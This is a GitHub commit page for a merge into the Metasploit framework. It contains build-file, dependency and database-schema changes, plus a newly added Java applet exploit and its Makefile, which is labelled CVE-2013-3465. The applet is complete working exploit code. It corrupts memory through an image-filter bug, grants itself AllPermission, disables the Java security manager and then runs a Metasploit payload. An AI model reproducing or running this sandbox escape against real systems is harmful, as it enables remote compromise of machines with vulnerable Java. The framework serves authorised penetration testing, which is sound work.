Skip to content

Commit e276b57

Browse files
committed
Merge remote-tracking branch 'upstream/master' into python-meterpreter-dev
2 parents 71285f3 + 6191023 commit e276b57

File tree

254 files changed

+6216
-2555
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

254 files changed

+6216
-2555
lines changed

.gitignore

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,8 @@
11
.bundle
22
# Rubymine project directory
33
.idea
4+
# Sublime Text project directory (not created by ST by default)
5+
.sublime-project
46
# Portable ruby version files for rvm
57
.ruby-gemset
68
.ruby-version
@@ -40,3 +42,5 @@ tags
4042
*.orig
4143
*.rej
4244
*~
45+
# Ignore backups of retabbed files
46+
*.notab

Gemfile

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -17,7 +17,7 @@ group :db do
1717
# Needed for Msf::DbManager
1818
gem 'activerecord'
1919
# Database models shared between framework and Pro.
20-
gem 'metasploit_data_models', '~> 0.16.1'
20+
gem 'metasploit_data_models', '~> 0.16.6'
2121
# Needed for module caching in Mdm::ModuleDetails
2222
gem 'pg', '>= 0.11'
2323
end

Gemfile.lock

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -23,7 +23,7 @@ GEM
2323
i18n (0.6.1)
2424
json (1.7.7)
2525
metaclass (0.0.1)
26-
metasploit_data_models (0.16.1)
26+
metasploit_data_models (0.16.6)
2727
activerecord (>= 3.2.13)
2828
activesupport
2929
pg
@@ -67,7 +67,7 @@ DEPENDENCIES
6767
database_cleaner
6868
factory_girl (>= 4.1.0)
6969
json
70-
metasploit_data_models (~> 0.16.1)
70+
metasploit_data_models (~> 0.16.6)
7171
msgpack
7272
network_interface (~> 0.0.1)
7373
nokogiri
Binary file not shown.
Binary file not shown.
3.99 KB
Binary file not shown.

db/schema.rb

Lines changed: 2 additions & 52 deletions
Original file line numberDiff line numberDiff line change
@@ -11,38 +11,14 @@
1111
#
1212
# It's strongly recommended to check this file into your version control system.
1313

14-
ActiveRecord::Schema.define(:version => 20130604145732) do
14+
ActiveRecord::Schema.define(:version => 20130717150737) do
1515

1616
create_table "api_keys", :force => true do |t|
1717
t.text "token"
1818
t.datetime "created_at", :null => false
1919
t.datetime "updated_at", :null => false
2020
end
2121

22-
create_table "attachments", :force => true do |t|
23-
t.string "name", :limit => 512
24-
t.binary "data"
25-
t.string "content_type", :limit => 512
26-
t.boolean "inline", :default => true, :null => false
27-
t.boolean "zip", :default => false, :null => false
28-
t.integer "campaign_id"
29-
end
30-
31-
create_table "attachments_email_templates", :id => false, :force => true do |t|
32-
t.integer "attachment_id"
33-
t.integer "email_template_id"
34-
end
35-
36-
create_table "campaigns", :force => true do |t|
37-
t.integer "workspace_id", :null => false
38-
t.string "name", :limit => 512
39-
t.text "prefs"
40-
t.integer "status", :default => 0
41-
t.datetime "started_at"
42-
t.datetime "created_at", :null => false
43-
t.datetime "updated_at", :null => false
44-
end
45-
4622
create_table "clients", :force => true do |t|
4723
t.integer "host_id"
4824
t.datetime "created_at"
@@ -65,24 +41,6 @@
6541
t.string "source_type"
6642
end
6743

68-
create_table "email_addresses", :force => true do |t|
69-
t.integer "campaign_id", :null => false
70-
t.string "first_name", :limit => 512
71-
t.string "last_name", :limit => 512
72-
t.string "address", :limit => 512
73-
t.boolean "sent", :default => false, :null => false
74-
t.datetime "clicked_at"
75-
end
76-
77-
create_table "email_templates", :force => true do |t|
78-
t.string "name", :limit => 512
79-
t.string "subject", :limit => 1024
80-
t.text "body"
81-
t.integer "parent_id"
82-
t.integer "campaign_id"
83-
t.text "prefs"
84-
end
85-
8644
create_table "events", :force => true do |t|
8745
t.integer "workspace_id"
8846
t.integer "host_id"
@@ -581,22 +539,14 @@
581539
add_index "web_sites", ["options"], :name => "index_web_sites_on_options"
582540
add_index "web_sites", ["vhost"], :name => "index_web_sites_on_vhost"
583541

584-
create_table "web_templates", :force => true do |t|
585-
t.string "name", :limit => 512
586-
t.string "title", :limit => 512
587-
t.string "body", :limit => 524288
588-
t.integer "campaign_id"
589-
t.text "prefs"
590-
end
591-
592542
create_table "web_vulns", :force => true do |t|
593543
t.integer "web_site_id", :null => false
594544
t.datetime "created_at", :null => false
595545
t.datetime "updated_at", :null => false
596546
t.text "path", :null => false
597547
t.string "method", :limit => 1024, :null => false
598548
t.text "params", :null => false
599-
t.text "pname", :null => false
549+
t.text "pname"
600550
t.integer "risk", :null => false
601551
t.string "name", :limit => 1024, :null => false
602552
t.text "query"
Lines changed: 197 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,197 @@
1+
import java.awt.image.*;
2+
import java.awt.color.*;
3+
import java.beans.Statement;
4+
import java.security.*;
5+
import metasploit.Payload;
6+
import java.applet.Applet;
7+
8+
public class Exploit extends Applet {
9+
10+
public void init() {
11+
12+
try {
13+
14+
// try several attempts to exploit
15+
for(int i=1; i <= 5 && System.getSecurityManager() != null; i++){
16+
//System.out.println("Attempt #" + i);
17+
tryExpl();
18+
}
19+
20+
// check results
21+
if (System.getSecurityManager() == null) {
22+
// execute payload
23+
//Runtime.getRuntime().exec(_isMac ? "/Applications/Calculator.app/Contents/MacOS/Calculator":"calc.exe");
24+
Payload.main(null);
25+
}
26+
27+
} catch (Exception ex) {
28+
//ex.printStackTrace();
29+
}
30+
}
31+
32+
public static String toHex(int i)
33+
{
34+
return Integer.toHexString(i);
35+
}
36+
37+
private boolean _is64 = System.getProperty("os.arch","").contains("64");
38+
39+
// we will need ColorSpace which returns 1 from getNumComponents()
40+
class MyColorSpace extends ICC_ColorSpace
41+
{
42+
public MyColorSpace()
43+
{
44+
super(ICC_Profile.getInstance(ColorSpace.CS_sRGB));
45+
}
46+
47+
// override getNumComponents
48+
public int getNumComponents()
49+
{
50+
int res = 1;
51+
return res;
52+
}
53+
}
54+
55+
// we will need ComponentColorModel with the obedient isCompatibleRaster() which always returns true.
56+
class MyColorModel extends ComponentColorModel
57+
{
58+
public MyColorModel()
59+
{
60+
super(new MyColorSpace(), new int[]{8,8,8}, false, false, 1, DataBuffer.TYPE_BYTE);
61+
}
62+
63+
// override isCompatibleRaster
64+
public boolean isCompatibleRaster(Raster r)
65+
{
66+
boolean res = true;
67+
return res;
68+
}
69+
}
70+
71+
72+
private int tryExpl()
73+
{
74+
try {
75+
// alloc aux vars
76+
String name = "setSecurityManager";
77+
Object[] o1 = new Object[1];
78+
Object o2 = new Statement(System.class, name, o1); // make a dummy call for init
79+
80+
// allocate byte buffer for destination Raster.
81+
DataBufferByte dst = new DataBufferByte(16);
82+
83+
// allocate the target array right after dst
84+
int[] a = new int[8];
85+
// allocate an object array right after a[]
86+
Object[] oo = new Object[7];
87+
88+
// create Statement with the restricted AccessControlContext
89+
oo[2] = new Statement(System.class, name, o1);
90+
91+
// create powerful AccessControlContext
92+
Permissions ps = new Permissions();
93+
ps.add(new AllPermission());
94+
oo[3] = new AccessControlContext(
95+
new ProtectionDomain[]{
96+
new ProtectionDomain(
97+
new CodeSource(
98+
new java.net.URL("file:///"),
99+
new java.security.cert.Certificate[0]
100+
),
101+
ps
102+
)
103+
}
104+
);
105+
106+
// store System.class pointer in oo[]
107+
oo[4] = ((Statement)oo[2]).getTarget();
108+
109+
// save old a.length
110+
int oldLen = a.length;
111+
//System.out.println("a.length = 0x" + toHex(oldLen));
112+
113+
// create regular source image
114+
BufferedImage bi1 = new BufferedImage(4,1, BufferedImage.TYPE_INT_ARGB);
115+
116+
// prepare the sample model with "dataBitOffset" pointing outside dst[] onto a.length
117+
MultiPixelPackedSampleModel sm = new MultiPixelPackedSampleModel(DataBuffer.TYPE_BYTE, 4,1,1,4, 44 + (_is64 ? 8:0));
118+
// create malformed destination image based on dst[] data
119+
WritableRaster wr = Raster.createWritableRaster(sm, dst, null);
120+
BufferedImage bi2 = new BufferedImage(new MyColorModel(), wr, false, null);
121+
122+
// prepare first pixel which will overwrite a.length
123+
bi1.getRaster().setPixel(0,0, new int[]{-1,-1,-1,-1});
124+
125+
// call the vulnerable storeImageArray() function (see ...\jdk\src\share\native\sun\awt\medialib\awt_ImagingLib.c)
126+
AffineTransformOp op = new AffineTransformOp(new java.awt.geom.AffineTransform(1,0,0,1,0,0), null);
127+
op.filter(bi1, bi2);
128+
129+
// check results: a.length should be overwritten by 0xFFFFFFFF
130+
int len = a.length;
131+
//System.out.println("a.length = 0x" + toHex(len));
132+
if (len == oldLen) {
133+
// check a[] content corruption // for RnD
134+
for(int i=0; i < len; i++) {
135+
if (a[i] != 0) {
136+
//System.out.println("a["+i+"] = 0x" + toHex(a[i]));
137+
}
138+
}
139+
// exit
140+
//System.out.println("error 1");
141+
return 1;
142+
}
143+
144+
// ok, now we can read/write outside the real a[] storage,
145+
// lets find our Statement object and replace its private "acc" field value
146+
147+
// search for oo[] after a[oldLen]
148+
boolean found = false;
149+
int ooLen = oo.length;
150+
for(int i=oldLen+2; i < oldLen+32; i++)
151+
if (a[i-1]==ooLen && a[i]==0 && a[i+1]==0 // oo[0]==null && oo[1]==null
152+
&& a[i+2]!=0 && a[i+3]!=0 && a[i+4]!=0 // oo[2,3,4] != null
153+
&& a[i+5]==0 && a[i+6]==0) // oo[5,6] == null
154+
{
155+
// read pointer from oo[4]
156+
int stmTrg = a[i+4];
157+
// search for the Statement.target field behind oo[]
158+
for(int j=i+7; j < i+7+64; j++){
159+
if (a[j] == stmTrg) {
160+
// overwrite default Statement.acc by oo[3] ("AllPermission")
161+
a[j-1] = a[i+3];
162+
found = true;
163+
break;
164+
}
165+
}
166+
if (found) break;
167+
}
168+
169+
// check results
170+
if (!found) {
171+
// print the memory dump on error // for RnD
172+
String s = "a["+oldLen+"...] = ";
173+
for(int i=oldLen; i < oldLen+32; i++) s += toHex(a[i]) + ",";
174+
//System.out.println(s);
175+
} else try {
176+
177+
// call System.setSecurityManager(null)
178+
((Statement)oo[2]).execute();
179+
180+
// show results: SecurityManager should be null
181+
} catch (Exception ex) {
182+
//ex.printStackTrace();
183+
}
184+
185+
//System.out.println(System.getSecurityManager() == null ? "Ok.":"Fail.");
186+
187+
} catch (Exception ex) {
188+
//ex.printStackTrace();
189+
}
190+
191+
return 0;
192+
}
193+
194+
}
195+
196+
197+
Lines changed: 14 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,14 @@
1+
CLASSES = Exploit.java
2+
3+
.SUFFIXES: .java .class
4+
.java.class:
5+
javac -source 1.2 -target 1.2 -cp "../../../../data/java" Exploit.java
6+
7+
all: $(CLASSES:.java=.class)
8+
9+
install:
10+
mv *.class ../../../../data/exploits/CVE-2013-3465/
11+
12+
clean:
13+
rm -rf *.class
14+

lib/msf/base/serializer/readable_text.rb

Lines changed: 0 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -123,7 +123,6 @@ def self.dump_exploit_module(mod, indent = '')
123123
output = "\n"
124124
output << " Name: #{mod.name}\n"
125125
output << " Module: #{mod.fullname}\n"
126-
output << " Version: #{mod.version}\n"
127126
output << " Platform: #{mod.platform_to_s}\n"
128127
output << " Privileged: " + (mod.privileged? ? "Yes" : "No") + "\n"
129128
output << " License: #{mod.license}\n"
@@ -179,7 +178,6 @@ def self.dump_auxiliary_module(mod, indent = '')
179178
output = "\n"
180179
output << " Name: #{mod.name}\n"
181180
output << " Module: #{mod.fullname}\n"
182-
output << " Version: #{mod.version}\n"
183181
output << " License: #{mod.license}\n"
184182
output << " Rank: #{mod.rank_to_s.capitalize}\n"
185183
output << "\n"
@@ -217,7 +215,6 @@ def self.dump_payload_module(mod, indent = '')
217215
output = "\n"
218216
output << " Name: #{mod.name}\n"
219217
output << " Module: #{mod.fullname}\n"
220-
output << " Version: #{mod.version}\n"
221218
output << " Platform: #{mod.platform_to_s}\n"
222219
output << " Arch: #{mod.arch_to_s}\n"
223220
output << "Needs Admin: " + (mod.privileged? ? "Yes" : "No") + "\n"
@@ -255,7 +252,6 @@ def self.dump_basic_module(mod, indent = '')
255252
output = "\n"
256253
output << " Name: #{mod.name}\n"
257254
output << " Module: #{mod.fullname}\n"
258-
output << " Version: #{mod.version}\n"
259255
output << " Platform: #{mod.platform_to_s}\n"
260256
output << " Arch: #{mod.arch_to_s}\n"
261257
output << " Rank: #{mod.rank_to_s.capitalize}\n"

0 commit comments

Comments
 (0)